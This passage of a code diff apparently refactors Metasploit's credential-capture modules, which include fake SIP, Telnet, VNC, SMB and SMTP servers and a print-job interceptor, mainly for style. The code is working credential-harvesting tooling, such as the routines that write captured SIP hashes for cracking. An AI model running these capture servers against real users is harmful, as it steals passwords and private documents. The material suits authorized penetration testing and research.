curr_data[1..-2]) if not curr_data[1..-2].empty? + if Rex::Text.to_hex(curr_data.first) == '\x02' && Rex::Text.to_hex(curr_data.last) == '\x0a' && !curr_data[1..-2].empty? + print_status("LPR Jobcmd \"#{curr_data[1..-2]}\" received") end - return if not @state[c][:data] + return if !@state[client][:data] end - def on_client_close(c) - print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length) + def on_client_close(client) + print_status("#{name}: Client #{client.peerhost}:#{client.peerport} closed connection after #{@state[client][:data].length} bytes of data") sock.close if sock # forward RAW data as it's not streamed - if @forward and @mode == 'RAW' - forward_data(@state[c][:data]) + if @forward && (@mode == 'RAW') + forward_data(@state[client][:data]) end - #extract print data and Metadata from @state[c][:data] + # extract print data and Metadata from @state[client][:data] begin # postscript data - if @state[c][:data] =~ /%!PS-Adobe/i - @state[c][:prn_type] = "PS" - print_good("Printjob intercepted - type PostScript") + if @state[client][:data] =~ /%!PS-Adobe/i + @state[client][:prn_type] = 'PS' + print_good('Printjob intercepted - type PostScript') # extract PostScript data including header and EOF marker - @state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0] + @state[client][:raw_data] = @state[client][:data].match(/%!PS-Adobe.*%%EOF/im)[0] # pcl data (capture PCL or PJL start code) - elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/ - @state[c][:prn_type] = "PCL" - print_good("Printjob intercepted - type PCL") - #extract everything between PCL start and end markers (various) - @state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*") + elsif @state[client][:data].unpack('H*')[0] =~ /(1b45|1b25|1b26)/ + @state[client][:prn_type] = 'PCL' + print_good('Printjob intercepted - type PCL') + # extract everything between PCL start and end markers (various) + @state[client][:raw_data] = Array(@state[client][:data].unpack('H*')[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack('H*') end # extract Postsript Metadata - metadata_ps(c) if @state[c][:data] =~ /^%%/i + metadata_ps(client) if @state[client][:data] =~ /^%%/i # extract PJL Metadata - metadata_pjl(c) if @state[c][:data] =~ /@PJL/i + metadata_pjl(client) if @state[client][:data] =~ /@PJL/i # extract IPP Metadata - metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i + metadata_ipp(client) if @state[client][:data] =~ %r{POST /ipp}i || @state[client][:data] =~ %r{application/ipp}i - if @state[c][:prn_type].empty? - print_error("Unable to detect printjob type, dumping complete output") - @state[c][:prn_type] = "Unknown Type" - @state[c][:raw_data] = @state[c][:data] + if @state[client][:prn_type].empty? + print_error('Unable to detect printjob type, dumping complete output') + @state[client][:prn_type] = 'Unknown Type' + @state[client][:raw_data] = @state[client][:data] end # output discovered Metadata if set - if @state[c][:meta_output] and @metadata - @state[c][:meta_output].sort.each do | out | + if @state[client][:meta_output] && @metadata + @state[client][:meta_output].sort.each do |out| # print metadata if not empty - print_status("#{out}") if not out.empty? + print_status(out.to_s) if !out.empty? end else - print_status("No metadata gathered from printjob") + print_status('No metadata gathered from printjob') end # set name to unknown if not discovered via Metadata - @state[c][:prn_title] = 'Unnamed' if @state[c][:prn_title].empty? + @state[client][:prn_title] = 'Unnamed' if @state[client][:prn_title].empty? - #store loot - storefile(c) if not @state[c][:raw_data].empty? + # store loot + storefile(client) if !@state[client][:raw_data].empty? # clear state - @state.delete(c) - - rescue => ex - print_error(ex.message) + @state.delete(client) + rescue StandardError => e + print_error(e.message) end end - def metadata_pjl(c) + def metadata_pjl(client) # extract PJL Metadata - @state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i) - print_good("Extracting PJL Metadata") - @state[c][:prn_metadata].each do | meta | + @state[client][:prn_metadata] = @state[client][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i) + print_good('Extracting PJL Metadata') + @state[client][:prn_metadata].each do |meta| if meta[0] =~ /^COMMENT/i - @state[c][:meta_output] << meta[0].to_s + meta[1].to_s + @state[client][:meta_output] << meta[0].to_s + meta[1].to_s end if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i - @state[c][:meta_output] << meta[1].to_s + @state[client][:meta_output] << meta[1].to_s end if meta[1] =~ /^NAME/i - @state[c][:prn_title] = meta[1].strip - elsif meta[1] =~/^JOBNAME/i - @state[c][:prn_title] = meta[1].strip + @state[client][:prn_title] = meta[1].strip + elsif meta[1] =~ /^JOBNAME/i + @state[client][:prn_title] = meta[1].strip end end end - def metadata_ps(c) + def metadata_ps(client) # extract Postsript Metadata - @state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i) - print_good("Extracting PostScript Metadata") - @state[c][:prn_metadata].each do | meta | + @state[client][:prn_metadata] = @state[client][:data].scan(/^%%(.*)$/i) + print_good('Extracting PostScript Metadata') + @state[client][:prn_metadata].each do |meta| if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i - @state[c][:meta_output] << meta[0].to_s + @state[client][:meta_output] << meta[0].to_s end if meta[0] =~ /^Title/i - @state[c][:prn_title] = meta[0].strip + @state[client][:prn_title] = meta[0].strip end end end - def metadata_ipp(c) + def metadata_ipp(client) # extract IPP Metadata - @state[c][:prn_metadata] = @state[c][:data] - print_good("Extracting IPP Metadata") - case @state[c][:prn_metadata] + @state[client][:prn_metadata] = @state[client][:data] + print_good('Extracting IPP Metadata') + case @state[client][:prn_metadata] when /User-Agent:/i - @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i) + @state[client][:meta_output] << @state[client][:prn_metadata].scan(/^User-Agent:.*/i) when /Server:/i - @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i) - when /printer-uri..ipp:\/\/.*\/ipp\//i - @state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i) + @state[client][:meta_output] << @state[client][:prn_metadata].scan(/^Server:.*/i) + when %r{printer-uri..ipp://.*/ipp/}i + @state[client][:meta_output] << @state[client][:prn_metadata].scan(%r{printer-uri..ipp://.*/ipp/}i) when /requesting-user-name..\w+/i - @state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i) + @state[client][:meta_output] << @state[client][:prn_metadata].scan(/requesting-user-name..\w+/i) end end @@ -236,29 +236,29 @@ def forward_data(data_to_send) end def stream_data(data_to_send) - vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length) - connect if not sock + vprint_status("Streaming #{data_to_send.length} bytes of data to #{@rhost}:#{@rport}") + connect if !sock sock.put(data_to_send) response = sock.get_once return response end - def storefile(c) + def storefile(client) + return unless @state[client][:raw_data] + # store the file - if @state[c][:raw_data] - jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*") - filename = "#{jobname}.#{@state[c][:prn_type]}" - loot = store_loot( - "prn_snarf.#{@state[c][:prn_type].downcase}", - "#{@state[c][:prn_type]} printjob", - c.peerhost, - @state[c][:raw_data], - filename, - "PrintJob capture" - ) - print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title]) - print_good("Loot filename: %s" % loot) - end + jobname = File.basename(@state[client][:prn_title].gsub('\\', '/'), '.*') + filename = "#{jobname}.#{@state[client][:prn_type]}" + loot = store_loot( + "prn_snarf.#{@state[client][:prn_type].downcase}", + "#{@state[client][:prn_type]} printjob", + client.peerhost, + @state[client][:raw_data], + filename, + 'PrintJob capture' + ) + print_good("Incoming printjob - #{@state[client][:prn_title]} saved to loot") + print_good("Loot filename: #{loot}") end end diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 5021a05aace5..36235b49c1f6 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' require 'rex/socket' class MetasploitModule < Msf::Auxiliary @@ -10,39 +11,46 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: SIP', - 'Description' => %q{ + 'Name' => 'Authentication Capture: SIP', + 'Description' => %q{ This module provides a fake SIP service that is designed to capture authentication credentials. It captures challenge and response pairs that can be supplied to Cain or JtR for cracking. }, - 'Author' => 'Patrik Karlsson ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run SIP capture server' ]], + 'Author' => 'Patrik Karlsson ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run SIP capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5060 ]), - OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), - OptString.new('NONCE', [ true, "The server byte nonce", "1234" ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 5060 ]), + OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]), + OptString.new('NONCE', [ true, 'The server byte nonce', '1234' ]), + OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]), + OptString.new('CAINPWFILE', [ false, 'The local filename to store the hashes in Cain&Abel format', nil ]), + ] + ) register_advanced_options( [ - OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "ser (3.3.0-pre1 (i386/linux))" ]), - OptString.new('REALM', [false, "The SIP realm to which clients authenticate", nil ]), - ]) + OptString.new('SRVVERSION', [ true, 'The server version to report in the greeting response', 'ser (3.3.0-pre1 (i386/linux))' ]), + OptString.new('REALM', [false, 'The SIP realm to which clients authenticate', nil ]), + ] + ) end def sip_parse_authorization(data) kvps = {} kvps['scheme'] = data.slice!(0, data.index(' ')) - data.split(/,\s?/).each do | item | - tokens = item.scan(/^\s?([^=]*)=\"?(.*?)\"?$/)[0] + data.split(/,\s?/).each do |item| + tokens = item.scan(/^\s?([^=]*)="?(.*?)"?$/)[0] kvps[tokens[0]] = tokens[1] end kvps @@ -50,19 +58,19 @@ def sip_parse_authorization(data) def sip_parse_request(data) response = { - :headers_raw => [], - :headers => {}, - :uri => nil, - :method => nil, - :protocol => nil + headers_raw: [], + headers: {}, + uri: nil, + method: nil, + protocol: nil } - status = data.slice!(0, data.index(/\r?\n/)+1).split(/\s/) + status = data.slice!(0, data.index(/\r?\n/) + 1).split(/\s/) response[:method] = status[0] response[:uri] = status[1] response[:protocol] = status[2] while data.index(/\r?\n/) - header = (data.slice!(0, data.index(/\r?\n/)+1)).chomp + header = data.slice!(0, data.index(/\r?\n/) + 1).chomp response[:headers_raw] << header key, val = header.split(/:\s*/, 2) response[:headers][key] = val @@ -73,32 +81,33 @@ def sip_parse_request(data) def sip_send_error_message(request, code, msg) ip = @requestor[:ip] port = @requestor[:port] - tag = (0...8).map{65.+(rand(25)).chr}.join + tag = (0...8).map { rand(65..89).chr }.join nonce = datastore['NONCE'] - realm = datastore['REALM'] ? datastore['REALM'] : sip_sanitize_address(ip) + realm = datastore['REALM'] || sip_sanitize_address(ip) auth = [] auth << "SIP/2.0 #{code} #{msg}" - auth << ("Via: #{request[:headers]['Via']};received=#{ip}").gsub("rport", "rport=#{port}") + auth << "Via: #{request[:headers]['Via']};received=#{ip}".gsub('rport', "rport=#{port}") auth << "From: #{request[:headers]['From']}" auth << "To: #{request[:headers]['To']};tag=#{tag}" auth << "Call-ID: #{request[:headers]['Call-ID']}" auth << "CSeq: #{request[:headers]['CSeq']}" - auth << "Expires: 600" - auth << "Min-Expires: 240" + auth << 'Expires: 600' + auth << 'Min-Expires: 240' auth << "WWW-Authenticate: Digest realm=\"#{realm}\", nonce=\"#{nonce}\"" auth << "Server: #{datastore['SRVVERSION']}" - auth << "Content-Length: 0" - auth << "" + auth << 'Content-Length: 0' + auth << '' @sock.sendto(auth.join("\r\n") << "\r\n", @requestor[:ip].to_s, @requestor[:port]) end # removes any leading ipv6 stuff, such as ::ffff: as it breaks JtR def sip_sanitize_address(addr) - if ( addr =~ /:/ ) + if (addr =~ /:/) return addr.scan(/.*:(.*)/)[0][0] end + return addr end @@ -129,109 +138,106 @@ def report_cred(opts) end def run - begin - @port = datastore['SRVPORT'].to_i - @sock = Rex::Socket::Udp.create( - 'LocalHost' => datastore['SRVHOST'], - 'LocalPort' => @port, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} ) - @run = true - server_ip = sip_sanitize_address(datastore['SRVHOST']) - - while @run - res = @sock.recvfrom() - @requestor = { - :ip => res[1], - :port => res[2] - } - client_ip = sip_sanitize_address(res[1]) - next if not res[0] or res[0].empty? - request = sip_parse_request(res[0]) - method = request[:method] - - case method - when "REGISTER" - authorization = ( request[:headers]['Authorization'] ? request[:headers]['Authorization'] : request[:headers]['Proxy-Authorization'] ) - if authorization - if ( request[:uri] =~ /^sip:.*?:\d+/ ) - # current versions of the JtR plugin will fail cracking SIP uri:s containing a port; eg. sip:1.2.3.4:5060 - print_status("URI with port detected in authorization SIP request, JtR may fail to crack the response") - end - - auth_tokens = sip_parse_authorization(authorization) - response = ( auth_tokens['response'] ? auth_tokens['response'] : "" ) - algorithm= ( auth_tokens['algorithm'] ? auth_tokens['algorithm'] : "MD5" ) - username = auth_tokens['username'] - proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}" - print_good("SIP LOGIN: #{proof}") - - report_cred( - ip: @requestor[:ip], - port: @requestor[:port], - service_name: 'sip_client', - user: username, - password: response + ":" + auth_tokens['nonce'] + ":" + algorithm, - proof: proof - ) - - if datastore['JOHNPWFILE'] - resp = [] - resp << "$sip$" - resp << server_ip - resp << client_ip - resp << username - resp << auth_tokens['realm'] - resp << method - resp << "sip" - resp << request[:uri].scan(/^.*?:(.*)$/) - resp << auth_tokens['nonce'] - resp << ( auth_tokens['cnonce'] ? auth_tokens['cnonce'] : "" ) - resp << ( auth_tokens['nc'] ? auth_tokens['nc'] : "" ) - resp << ( auth_tokens['qop'] ? auth_tokens['qop'] : "" ) - resp << algorithm - resp << response - - fd = File.open(datastore['JOHNPWFILE'] + '_sip' , "ab") - fd.puts(username + ":" + resp.join("*")) - fd.close - end - - if datastore['CAINPWFILE'] - resp = [] - resp << auth_tokens['realm'] - resp << auth_tokens['username'] - resp << "" - resp << request[:uri] - resp << auth_tokens['nonce'] - resp << response - resp << method - resp << algorithm - - fd = File.open(datastore['CAINPWFILE'], "ab") - fd.puts resp.join("\t") + "\r\n" - fd.close - end - - sip_send_error_message(request, 401, "Unauthorized") - else - sip_send_error_message(request, 401, "Unauthorized") + @port = datastore['SRVPORT'].to_i + @sock = Rex::Socket::Udp.create( + 'LocalHost' => datastore['SRVHOST'], + 'LocalPort' => @port, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + @run = true + server_ip = sip_sanitize_address(datastore['SRVHOST']) + + while @run + res = @sock.recvfrom + @requestor = { + ip: res[1], + port: res[2] + } + client_ip = sip_sanitize_address(res[1]) + next if !res[0] || res[0].empty? + + request = sip_parse_request(res[0]) + method = request[:method] + + case method + when 'REGISTER' + authorization = request[:headers]['Authorization'] || request[:headers]['Proxy-Authorization'] + if authorization + if (request[:uri] =~ /^sip:.*?:\d+/) + # current versions of the JtR plugin will fail cracking SIP uri:s containing a port; eg. sip:1.2.3.4:5060 + print_status('URI with port detected in authorization SIP request, JtR may fail to crack the response') + end + + auth_tokens = sip_parse_authorization(authorization) + response = auth_tokens['response'] || '' + algorithm = auth_tokens['algorithm'] || 'MD5' + username = auth_tokens['username'] + proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}" + print_good("SIP LOGIN: #{proof}") + + report_cred( + ip: @requestor[:ip], + port: @requestor[:port], + service_name: 'sip_client', + user: username, + password: response + ':' + auth_tokens['nonce'] + ':' + algorithm, + proof: proof + ) + + if datastore['JOHNPWFILE'] + resp = [] + resp << '$sip$' + resp << server_ip + resp << client_ip + resp << username + resp << auth_tokens['realm'] + resp << method + resp << 'sip' + resp << request[:uri].scan(/^.*?:(.*)$/) + resp << auth_tokens['nonce'] + resp << (auth_tokens['cnonce'] || '') + resp << (auth_tokens['nc'] || '') + resp << (auth_tokens['qop'] || '') + resp << algorithm + resp << response + + fd = File.open(datastore['JOHNPWFILE'] + '_sip', 'ab') + fd.puts(username + ':' + resp.join('*')) + fd.close + end + + if datastore['CAINPWFILE'] + resp = [] + resp << auth_tokens['realm'] + resp << auth_tokens['username'] + resp << '' + resp << request[:uri] + resp << auth_tokens['nonce'] + resp << response + resp << method + resp << algorithm + + fd = File.open(datastore['CAINPWFILE'], 'ab') + fd.puts resp.join("\t") + "\r\n" + fd.close end - when "ACK" - # do nothing - else - print_error("Unhandled method: #{request[:method]}") - sip_send_error_message(request, 401, "Unauthorized") + end + sip_send_error_message(request, 401, 'Unauthorized') + when 'ACK' + # do nothing + else + print_error("Unhandled method: #{request[:method]}") + sip_send_error_message(request, 401, 'Unauthorized') end - - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e.backtrace}") - ensure - @sock.close end + rescue ::Interrupt + raise $ERROR_INFO + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + rescue StandardError => e + print_error("Unknown error: #{e.class} #{e.backtrace}") + ensure + @sock.close end end diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index 6db089d7d2cb..ea38f7cc6c8d 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -41,7 +41,12 @@ def initialize 'License' => MSF_LICENSE, 'Actions' => [[ 'Capture', { 'Description' => 'Run SMB capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } }) register_options( @@ -75,9 +80,9 @@ def start_service(opts = {}) super(opts) end - def on_client_connect(client) + def on_client_connect(_client) print_good('Received SMB connection on Auth Capture Server!') end - alias :run :exploit + alias run exploit end diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index 8fe12377df3b..8d449916f9c4 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -28,6 +28,11 @@ def initialize [ 'URL', 'https://datatracker.ietf.org/doc/html/rfc5321' ], [ 'URL', 'http://fehcom.de/qmail/smtpauth.html' ] ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( @@ -71,7 +76,7 @@ def on_client_data(client) print_status("SMTP: #{@state[client][:name]} Command: #{data.strip}") - if (@state[client][:data_mode]) + if @state[client][:data_mode] @state[client][:data_buff] ||= '' @state[client][:data_buff] += data @@ -97,7 +102,7 @@ def on_client_data(client) return end - if (@state[client][:auth_login]) + if @state[client][:auth_login] if @state[client][:user].nil? @state[client][:user] = Rex::Text.decode_base64(data) client.put "334 #{Rex::Text.encode_base64('Password')}\r\n" @@ -118,7 +123,7 @@ def on_client_data(client) return end - if (@state[client][:auth_plain]) + if @state[client][:auth_plain] # this data is \00 delimited, and has 3 fields: un\00un\00\pass. Not sure why a double username un_pass = auth_plain_parser data @@ -138,7 +143,7 @@ def on_client_data(client) return end - if (@state[client][:auth_cram]) + if @state[client][:auth_cram] # data is decoded = Rex::Text.decode_base64(data).split(' ') @state[client][:user] = decoded.first diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb index c0eaac02e5ad..5978c8cdea8f 100644 --- a/modules/auxiliary/server/capture/telnet.rb +++ b/modules/auxiliary/server/capture/telnet.rb @@ -10,26 +10,32 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: Telnet', - 'Description' => %q{ + 'Name' => 'Authentication Capture: Telnet', + 'Description' => %q{ This module provides a fake Telnet service that is designed to capture authentication credentials. DONTs and WONTs are sent to the client for all option negotiations, except for ECHO at the time of the password prompt since the server controls that for a bit more realism. }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run telnet capture server' ]], + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run telnet capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ OptPort.new('SRVPORT', [true, 'The local port to listen on.', 23]), OptString.new('BANNER', [false, 'The server banner to display when client connects']) - ]) + ] + ) end def setup @@ -42,25 +48,25 @@ def banner end def run - exploit() + exploit end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil, - :gotuser => false, - :gotpass => false, - :started => false + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil, + gotuser: false, + gotpass: false, + started: false } end - def on_client_data(c) - data = c.get_once - return if not data + def on_client_data(client) + data = client.get_once + return if !data offset = 0 @@ -74,28 +80,28 @@ def on_client_data(c) reply = "\xff#{data[x + 2].chr}" - if @state[c][:pass] and data[x + 2] == 0x01 + if @state[client][:pass] && (data[x + 2] == 0x01) reply[1] = "\xfb" - elsif data[x + 1] == 0xfb or data[x + 1] == 0xfc + elsif (data[x + 1] == 0xfb) || (data[x + 1] == 0xfc) reply[1] = "\xfe" - elsif data[x + 1] == 0xfd or data[x + 1] == 0xfe + elsif (data[x + 1] == 0xfd) || (data[x + 1] == 0xfe) reply[1] = "\xfc" end - c.put reply + client.put reply offset += 3 end end - if not @state[c][:started] - c.put "\r\n#{banner}\r\n\r\n" - @state[c][:started] = true + if !@state[client][:started] + client.put "\r\n#{banner}\r\n\r\n" + @state[client][:started] = true end - if @state[c][:user].nil? - c.put "Login: " - @state[c][:user] = "" + if @state[client][:user].nil? + client.put 'Login: ' + @state[client][:user] = '' return end @@ -103,34 +109,34 @@ def on_client_data(c) data = data[offset, data.size] - if not @state[c][:gotuser] - @state[c][:user] = data.strip - @state[c][:gotuser] = true - c.put "\xff\xfc\x01" # WON'T ECHO + if !@state[client][:gotuser] + @state[client][:user] = data.strip + @state[client][:gotuser] = true + client.put "\xff\xfc\x01" # WON'T ECHO end - if @state[c][:pass].nil? - c.put "Password: " - @state[c][:pass] = "" + if @state[client][:pass].nil? + client.put 'Password: ' + @state[client][:pass] = '' return end - if not @state[c][:gotpass] - @state[c][:pass] = data.strip - @state[c][:gotpass] = true - c.put "\x00\r\n" + if !@state[client][:gotpass] + @state[client][:pass] = data.strip + @state[client][:gotpass] = true + client.put "\x00\r\n" end - print_good("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") - c.put "\r\nLogin failed\r\n\r\n" + print_good("TELNET LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}") + client.put "\r\nLogin failed\r\n\r\n" report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], port: datastore['SRVPORT'], service_name: 'telnet', - user: @state[c][:user], - password: @state[c][:pass] + user: @state[client][:user], + password: @state[client][:pass] ) - c.close + client.close end def report_cred(opts) @@ -152,13 +158,13 @@ def report_cred(opts) login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index 646113003694..68fce03ded6c 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -7,7 +7,6 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( 'Name' => 'Authentication Capture: VNC', @@ -19,7 +18,12 @@ def initialize 'License' => MSF_LICENSE, 'Actions' => [[ 'Capture', { 'Description' => 'Run VNC capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( @@ -44,17 +48,17 @@ def run exploit end - def on_client_connect(c) - @state[c] = { - name: "#{c.peerhost}:#{c.peerport}", - ip: c.peerhost, - port: c.peerport, + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, pass: nil, chall: nil, proto: nil } - c.put "RFB 003.007\n" + client.put "RFB 003.007\n" end def report_cred(opts) @@ -84,38 +88,38 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_data(c) - data = c.get_once + def on_client_data(client) + data = client.get_once return if !data - peer = "#{c.peerhost}:#{c.peerport}" + peer = "#{client.peerhost}:#{client.peerport}" if data =~ /^RFB (.*)\n$/ - @state[c][:proto] = Regexp.last_match(1) - if @state[c][:proto] == '003.007' + @state[client][:proto] = Regexp.last_match(1) + if @state[client][:proto] == '003.007' # for the 003.007 protocol we say we support the VNC sectype # and wait for the server to acknowledge it, before we send the # challenge. - c.put [0x0102].pack('n') # 1 sectype, unencrypted - elsif @state[c][:proto] == '003.003' + client.put [0x0102].pack('n') # 1 sectype, unencrypted + elsif @state[client][:proto] == '003.003' # for the 003.003 protocol we say we support the VNC sectype # and immediately send the challenge sectype = [0x00000002].pack('N') - c.put sectype + client.put sectype - @state[c][:chall] = @challenge - c.put @state[c][:chall] + @state[client][:chall] = @challenge + client.put @state[client][:chall] else - c.close + client.close end # the challenge was sent, so this should be our response - elsif @state[c][:chall] - c.put [0x00000001].pack('N') - c.close + elsif @state[client][:chall] + client.put [0x00000001].pack('N') + client.close print_good("#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}") - hash_line = "*#{@state[c][:chall].unpack('H*')[0]}*#{data.unpack('H*')[0]}" + hash_line = "*#{@state[client][:chall].unpack('H*')[0]}*#{data.unpack('H*')[0]}" report_cred( - ip: c.peerhost, + ip: client.peerhost, port: datastore['SRVPORT'], service_name: 'vnc_client', user: '', @@ -124,18 +128,18 @@ def on_client_data(c) ) # we have got the protocol sorted out and have offered the VNC sectype (2) - elsif @state[c][:proto] == '003.007' + elsif @state[client][:proto] == '003.007' if (data.unpack('C')[0] != 2) print_error("#{peer} - sectype not offered! #{data.unpack('H*')}") - c.close + client.close return end - @state[c][:chall] = @challenge - c.put @state[c][:chall] + @state[client][:chall] = @challenge + client.put @state[client][:chall] end end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end